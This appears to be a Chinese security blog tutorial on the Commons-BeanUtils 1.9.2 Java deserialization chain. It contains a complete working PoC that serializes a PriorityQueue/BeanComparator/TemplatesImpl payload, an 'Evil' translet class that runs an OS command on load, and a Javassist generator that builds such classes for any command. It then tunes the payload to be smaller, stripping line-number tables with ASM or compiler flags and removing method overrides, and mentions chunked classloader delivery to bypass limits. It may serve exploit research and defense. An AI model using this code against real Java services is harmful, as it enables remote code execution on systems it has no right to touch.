测试环境JDK 8u65+CB 1.9.2打templatesImpl加载字节码

添加pom依赖

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.2</version>
</dependency>
</dependencies>

测试POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CBEXP {
public static void main(String[] args) throws Exception{
byte[] code = Files.readAllBytes(Paths.get("E:\\JavaClass\\TemplatesBytes.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "C");
setFieldValue(templates, "_bytecodes", new byte[][] {code});
final BeanComparator beanComparator = new BeanComparator();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
queue.add(1);
queue.add(1);
setFieldValue(beanComparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{templates, templates});
serialize(queue);
unserialize("ser.bin");
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

测试需要加载的恶意字节码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Evil extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {
e.printStackTrace();
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {

}
}

从字节码层面优化

javap 是 JDK 自带的 Java 类文件反汇编工具,用于查看 .class 文件的字节码信息。它可以显示类的方法、字段、常量池以及 JVM 指令等。

1
2
3
javap -c -l Evil.class
-c 输出类中所有方法的 字节码指令(JVM 操作码)
-l 输出局部变量信息

javap反汇编如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
public class org.example.Evil extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet {
public org.example.Evil();
Code:
0: aload_0
1: invokespecial #1 // Method com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet."<init>":()V
4: return
LineNumberTable:
line 8: 0
LocalVariableTable:
Start Length Slot Name Signature
0 5 0 this Lorg/example/Evil;

public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM, com.sun.org.apache.xml.internal.serializer.SerializationHandler[]);
Code:
0: return
LineNumberTable:
line 20: 0
LocalVariableTable:
Start Length Slot Name Signature
0 1 0 this Lorg/example/Evil;
0 1 1 document Lcom/sun/org/apache/xalan/internal/xsltc/DOM;
0 1 2 handlers [Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;

public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler);
Code:
0: return
LineNumberTable:
line 25: 0
LocalVariableTable:
Start Length Slot Name Signature
0 1 0 this Lorg/example/Evil;
0 1 1 document Lcom/sun/org/apache/xalan/internal/xsltc/DOM;
0 1 2 iterator Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;
0 1 3 handler Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;

static {};
Code:
0: invokestatic #2 // Method java/lang/Runtime.getRuntime:()Ljava/lang/Runtime;
3: ldc #3 // String calc.exe
5: invokevirtual #4 // Method java/lang/Runtime.exec:(Ljava/lang/String;)Ljava/lang/Process;
8: pop
9: goto 17
12: astore_0
13: aload_0
14: invokevirtual #6 // Method java/lang/Exception.printStackTrace:()V
17: return
Exception table:
from to target type
0 9 12 Class java/lang/Exception
LineNumberTable:
line 11: 0
line 14: 9
line 12: 12
line 13: 13
line 15: 17
LocalVariableTable:
Start Length Slot Name Signature
13 4 0 e Ljava/lang/Exception;
}

从上述观察可以发现,除了基本的字节码,还包括三个表,ExceptionTable,LocalVariableTable和LineNumberTable

ExceptionTable(异常表)

JVM 执行时,如果 from 到 to 之间的代码抛出 type 指定的异常,则跳转到 target

LocalVariableTable(局部变量表)

记录方法的局部变量信息,主要用于调试和反射,JVM 执行时不依赖它(貌似正常情况下也可以删掉它,不过存在反射逻辑时可能不能删,有待确定)

LineNumberTable(行号表)

使异常堆栈能显示行号,对生产环境非必需,默认编译时会保留,但可通过 -g:none​ 移除以减小 .class​ 文件体积

直接通过编译命令去除LineNumberTable

首先可以直接通过编译时-g:none​ 命令移除,在设置附件编译行中添加

可以发现明显的缩小了

POC正常运行

基于ASM实现删除LINENUMBER

ASM是一个Java字节码操作和分析框架,它可以直接操作字节码,允许开发者在不修改源代码的情况下动态修改类行为

所需依赖

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>org.ow2.asm</groupId>
<artifactId>asm</artifactId>
<version>9.5</version>
</dependency>
<dependency>
<groupId>org.ow2.asm</groupId>
<artifactId>asm-commons</artifactId>
<version>9.5</version>
</dependency>

下面示例使用 ASM 删除字节码中的 LineNumberTable(行号表)可以通过访问 ClassVisitor 并忽略或移除相关属性来实现

具体步骤:

  • 创建自定义 ClassVisitor,覆盖 visitMethod 方法,返回一个自定义的 MethodVisitor,用于处理方法体中的行号信息。
  • 实现步骤一的MethodVisitor 方法,在 MethodVisitor 中重写 visitLineNumber 方法,不调用父类方法,从而忽略行号信息
  • 实现最终处理类文件使用 ClassReader 和 ClassWriter 加载类文件并应用自定义的 ClassVisitor

自定义 ClassVisitor实现

1
2
3
4
5
6
7
8
9
10
11
12
13
import org.objectweb.asm.*;

public class RemoveLineNumberClassVisitor extends ClassVisitor {
public RemoveLineNumberClassVisitor(ClassVisitor cv) {
super(Opcodes.ASM9, cv);
}

@Override
public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
return new RemoveLineNumberMethodVisitor(mv);
}
}

自定义 MethodVisitor 实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import org.objectweb.asm.Label;
import org.objectweb.asm.MethodVisitor;
import org.objectweb.asm.Opcodes;

public class RemoveLineNumberMethodVisitor extends MethodVisitor implements Opcodes {
public RemoveLineNumberMethodVisitor(MethodVisitor mv) {
super(Opcodes.ASM9, mv);
}

@Override
public void visitLineNumber(int line, Label start) {
// 直接跳过,不处理行号信息
// super.visitLineNumber(line, start); // 注释掉此行以删除 LineNumberTable
}
}

最终处理实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import org.objectweb.asm.*;

import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;

public class LineNumberRemover {
public static byte[] removeLineNumbers(byte[] classData) throws IOException {
ClassReader cr = new ClassReader(classData);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS);
ClassVisitor cv = new RemoveLineNumberClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray();
}

public static void main(String[] args) throws IOException {
// 示例:从文件读取类,删除行号表后写回
String inputClassPath = "Class.class";
String outputClassPath = "NoLineNumber.class";

// 读取原始类文件
byte[] originalClass = readFile(inputClassPath);

// 删除 LineNumberTable
byte[] modifiedClass = removeLineNumbers(originalClass);

// 写入新文件
writeFile(outputClassPath, modifiedClass);
System.out.println("LineNumberTable removed successfully!");
}

private static byte[] readFile(String path) throws IOException {
try (FileInputStream fis = new FileInputStream(path);
ByteArrayOutputStream bos = new ByteArrayOutputStream()) {
byte[] buffer = new byte[8192];
int len;
while ((len = fis.read(buffer)) != -1) {
bos.write(buffer, 0, len);
}
return bos.toByteArray();
}
}

private static void writeFile(String path, byte[] data) throws IOException {
try (FileOutputStream fos = new FileOutputStream(path)) {
fos.write(data);
}
}
}

测试

有趣的是使用ASM删除只小了0.06kb么,远不如直接加编译命令

使用Javassist构造POC

实际上javassist和ASM本质能算同一种,控制层级不同

不是对编译后的class文件下手,而在编译时直接控制,对比编译命令而言的好处是控制权更大

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
private static byte[] getTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);

CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody(" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd + "\");\n" +
" } catch (Exception ignored) {\n" +
" }");

CtMethod ctMethod1 = CtMethod.make(" public void transform(" +
"com.sun.org.apache.xalan.internal.xsltc.DOM document, " +
"com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) {\n" +
" }", ctClass);
ctClass.addMethod(ctMethod1);

CtMethod ctMethod2 = CtMethod.make(" public void transform(" +
"com.sun.org.apache.xalan.internal.xsltc.DOM document, " +
"com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, " +
"com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) {\n" +
" }", ctClass);
ctClass.addMethod(ctMethod2);

byte[] bytes = ctClass.toBytecode();
ctClass.defrost();

return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}

删除重写方法

正常来说Evil类继承自AbstractTranslet抽象类,所以必须重写两个transform方法,但实际上这两个重写方法不存在也可以执行代码,仍然可以使用ASM对编译后的类的重写方法进行删除进行一个删除

这里使用javassist在构造类时就不加重写方法测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import java.io.FileOutputStream;
import java.nio.file.Path;
import java.nio.file.Paths;

public class EvilClassGenerator {

/**
* 生成恶意类的字节码
* @param cmd 要执行的系统命令
* @return 类的字节码
*/
private static byte[] getTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");

// 设置父类为 AbstractTranslet(常用于漏洞利用)
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);

// 添加静态初始化块(类加载时执行命令)
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody("try { Runtime.getRuntime().exec(\"" + cmd.replace("\"", "\\\"") + "\"); } catch (Exception e) {}");

// 添加无参构造函数(避免序列化问题)
CtConstructor defaultConstructor = new CtConstructor(new CtClass[0], ctClass);
defaultConstructor.setBody("{}");
ctClass.addConstructor(defaultConstructor);

byte[] bytes = ctClass.toBytecode();
ctClass.detach(); // 释放资源
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[0];
}
}

/**
* 将字节码写入.class文件
*/
private static void saveClassToFile(byte[] bytecode, String filename) throws Exception {
Path path = Paths.get(filename);
try (FileOutputStream fos = new FileOutputStream(path.toFile())) {
fos.write(bytecode);
}
System.out.println("[+] 文件已保存至: " + path.toAbsolutePath());
}

public static void main(String[] args) throws Exception {
// 1. 生成恶意类字节码(执行calc.exe)
byte[] evilClass = getTemplatesImpl("calc.exe");

// 2. 保存为.class文件
saveClassToFile(evilClass, "Evil.class");

}
}

这里生成的evil2比之前还小一半

反序列化evil2仍然能执行

从构造方法和静态代码块下手

代码从静态代码块(<clinit>​)移到空参构造方法(<init>​)中是完全可行的,且能正常运行

所以如果同时存在空参构造方法和静态代码块,可以将其合并,减少空间

使用分块传输手段

在实战中,绕过限制通常采用打入自定义的Classloader加字节码分段传输的手段

用追加的方式发送多个请求往指定文件中写入字节码,将真正需要执行的字节码分块